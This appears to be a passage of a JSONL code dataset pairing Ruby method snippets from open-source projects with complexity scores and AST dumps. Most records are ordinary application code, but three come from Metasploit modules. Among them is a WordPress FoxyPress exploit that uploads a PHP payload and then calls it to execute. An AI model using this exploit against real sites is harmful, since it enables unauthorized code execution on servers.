exist\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"reset_column_information\"]}]}]}","id":"bd344787-af74-47ea-8fb2-f64b87b9fae6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/application.rb","start_line":375,"raw_source":"def cancel_all_testflight_submissions!\n        self.builds do |build|\n          begin\n            build.cancel_beta_review!\n          rescue\n            # We really don't care about any errors here\n          end\n        end\n        true\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_all_testflight_submissions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"builds\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"cancel_beta_review!\"]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"b63be5a9-db8a-4d5c-86f7-7af30cbe32a3"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_time_ext_test.rb","start_line":444,"raw_source":"def test_compare_with_datetime\n    assert_equal 1, DateTime.civil(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)\n    assert_equal 0, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)\n    assert_equal(-1, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_compare_with_datetime\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"3c48c1f5-0458-47a7-9b72-42f9c5f5828c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/bundler/gem_version.rb","start_line":72,"raw_source":"def on_send(node)\n          return unless gem_declaration?(node)\n          return if allowed_gem?(node)\n\n          if offense?(node)\n            add_offense(node)\n            opposite_style_detected\n          else\n            correct_style_detected\n          end\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gem_declaration?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_gem?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offense?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"opposite_style_detected\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_style_detected\"]}]}]}]}","id":"d0d82f90-affe-48ae-990f-ba5a70671a80"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/reminders/set_attributes_service.rb","start_line":61,"raw_source":"def prepare_errors_from_result(remind_at_params, contract_call)\n      return contract_call unless contract_call.errors.include?(:remind_at)\n\n      case contract_call.errors.find { |error| error.attribute == :remind_at }.type\n      when :blank\n        handle_blank_error(remind_at_params, contract_call)\n      when :datetime_must_be_in_future\n        handle_future_error(contract_call)\n      end\n\n      contract_call.errors.delete(:remind_at)\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_errors_from_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"remind_at_params\"]},{\"type\":\"arg\",\"children\":[\"contract_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract_call\"]},\"errors\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"remind_at\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract_call\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract_call\"]},\"errors\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]},\"==\",{\"type\":\"sym\",\"children\":[\"remind_at\"]}]}]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank\"]},{\"type\":\"send\",\"children\":[null,\"handle_blank_error\",{\"type\":\"lvar\",\"children\":[\"remind_at_params\"]},{\"type\":\"lvar\",\"children\":[\"contract_call\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime_must_be_in_future\"]},{\"type\":\"send\",\"children\":[null,\"handle_future_error\",{\"type\":\"lvar\",\"children\":[\"contract_call\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract_call\"]},\"errors\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"remind_at\"]}]}]}]}","id":"fdbb7e73-63d1-4884-b28b-baa3275511e0"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120525194845_add_avg_time_to_forum_threads.rb","start_line":4,"raw_source":"def up\n    add_column :forum_threads, :avg_time, :integer\n\n    execute \"update forum_threads SET avg_time = abs(random() * 1200)\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"forum_threads\"]},{\"type\":\"sym\",\"children\":[\"avg_time\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"update forum_threads SET avg_time = abs(random() * 1200)\"]}]}]}]}","id":"3134b00a-e13f-414f-bc47-798b55aa6e84"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/opennms_horizon_authenticated_rce.rb","start_line":506,"raw_source":"def generate_post_data(file_name, data_to_write)\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(data_to_write, 'text/xml', nil, \"form-data; name=\\\"upload\\\"; filename=\\\"#{file_name}\\\"\")\n\n    post_data\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_post_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"data_to_write\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"data_to_write\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]}]}","id":"5d2dbaa9-00dd-4ffd-9ecd-ca7399ce9cbb"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/maria_db/client.rb","start_line":29,"raw_source":"def read(sync_config)\n        connection_config = sync_config.source.connection_specification.with_indifferent_access\n        query = sync_config.model.query\n        query = batched_query(query, sync_config.limit, sync_config.offset) unless sync_config.limit.nil? && sync_config.offset.nil?\n        db = create_connection(connection_config)\n        query(db, query)\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"MARIA:DB:READ:EXCEPTION\",\n                           type: \"error\",\n                           sync_id: sync_config.sync_id,\n                           sync_run_id: sync_config.sync_run_id\n                         })\n      end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"source\"]},\"connection_specification\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"model\"]},\"query\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"limit\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"offset\"]},\"nil?\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"batched_query\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"offset\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"lvar\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"MARIA:DB:READ:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"sync_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"sync_run_id\"]}]}]}]}]},null]}]}","id":"c7988fa0-3cc9-422b-9ce7-5297102268e0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/config/initializers/postgres_required_versions.rb","start_line":2,"raw_source":"def configure_connection(*args)\n    super\n    check_version if respond_to?(:check_version)\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"check_version\"]}]},{\"type\":\"send\",\"children\":[null,\"check_version\"]},null]}]}]}","id":"89ed43ca-7580-44af-a6cf-f88398b46fca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/suggestor.rb","start_line":36,"raw_source":"def added_lines_matching(filename, regex)\n        helper.changed_lines(filename).grep(/\\A\\+( )?/).grep(regex)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"added_lines_matching\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"regex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"changed_lines\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\+( )?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"grep\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]}]}","id":"702c2dd2-0f43-4b01-824e-929dbe48498f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_foxypress_upload.rb","start_line":61,"raw_source":"def exploit\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(\"<?php #{payload.encoded} ?>\", 'application/octet-stream', nil, \"form-data; name=\\\"Filedata\\\"; filename=\\\"#{rand_text_alphanumeric(6)}.php\\\"\")\n\n    print_status(\"Sending PHP payload\")\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n      'data' => post_data.to_s\n    )\n\n    if res.nil? || res.code != 200 || res.body !~ /\\{\\\"raw_file_name\\\"\\:\\\"(\\w+)\\\"\\,/\n      print_error(\"File wasn't uploaded, aborting!\")\n      return\n    end\n\n    filename = \"#{Regexp.last_match[1]}.php\"\n\n    print_good(\"Our payload is at: #{filename}. Calling payload...\")\n    register_files_for_cleanup(filename)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)\n    )\n\n    print_error(\"Server returned #{res.code}\") if res && res.code != 200\n  end","complexity_score":41.93,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" ?>\"]}]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"Filedata\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\".php\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending PHP payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"wordpress_url_plugins\"]},{\"type\":\"str\",\"children\":[\"foxypress\"]},{\"type\":\"str\",\"children\":[\"uploadify\"]},{\"type\":\"str\",\"children\":[\"uploadify.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\{\\\\\\\"raw_file_name\\\\\\\"\\\\:\\\\\\\"(\\\\w+)\\\\\\\"\\\\,\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"File wasn't uploaded, aborting!\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Our payload is at: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\". Calling payload...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"wordpress_url_wp_content\"]},{\"type\":\"str\",\"children\":[\"affiliate_images\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]}]}]}","id":"c7147543-864a-4c1f-8069-7d615d0d6a7d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/webhook_setup_service.rb","start_line":73,"raw_source":"def phone_number_verified?\n    phone_number_id = @channel.provider_config['phone_number_id']\n\n    # Check with WhatsApp API if the phone number code verification is complete\n    # This checks code_verification_status == 'VERIFIED'\n    verified = @api_client.phone_number_verified?(phone_number_id)\n    Rails.logger.info(\"[WHATSAPP] Phone number #{phone_number_id} code verification status: #{verified}\")\n\n    verified\n  rescue StandardError => e\n    # If verification check fails, assume not verified to be safe\n    Rails.logger.error(\"[WHATSAPP] Phone verification status check failed: #{e.message}\")\n    false\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"phone_number_verified?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"phone_number_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel\"]},\"provider_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"phone_number_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"verified\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"phone_number_verified?\",{\"type\":\"lvar\",\"children\":[\"phone_number_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[WHATSAPP] Phone number \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_number_id\"]}]},{\"type\":\"str\",\"children\":[\" code verification status: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verified\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"verified\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[WHATSAPP] Phone verification status check failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"88e71adc-f3d5-4b78-bfd9-0a61f3b9e6d9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/delegation.rb","start_line":111,"raw_source":"def name\n          superclass.name\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"name\"]}]}","id":"4ffa3e87-d740-429d-9cba-6066320ca110"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/update_service.rb","start_line":41,"raw_source":"def update_members(members, permission)\n      # `filter_map` avoids the `post_update` call for the member that resulted in no change\n      Member.transaction do\n        members.filter_map { |member| update_member(member, permission) }\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"members\"]},{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"update_member\",{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}]}]}","id":"39f53d77-5181-4309-a060-ca3edf3ab9e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":20,"raw_source":"def initialize(project, current_user, params = {})\n      @project = project\n      @current_user = current_user\n      @pipelines = project.all_pipelines\n      @params = params\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipelines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"all_pipelines\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"4a0f1db2-dddd-4438-883a-02f4ef5578d2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb","start_line":35,"raw_source":"def scanner_process(data, shost, sport)\n    @results[shost] ||= []\n    @results[shost] << Rex::Proto::NTP::NTPPrivate.new.read(data).to_binary_s\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"shost\"]},{\"type\":\"arg\",\"children\":[\"sport\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"shost\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"NTP\"]},\"NTPPrivate\"]},\"new\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"to_binary_s\"]}]}]}]}","id":"be2311cf-1d9f-423b-b66f-1f178d670ac4"}
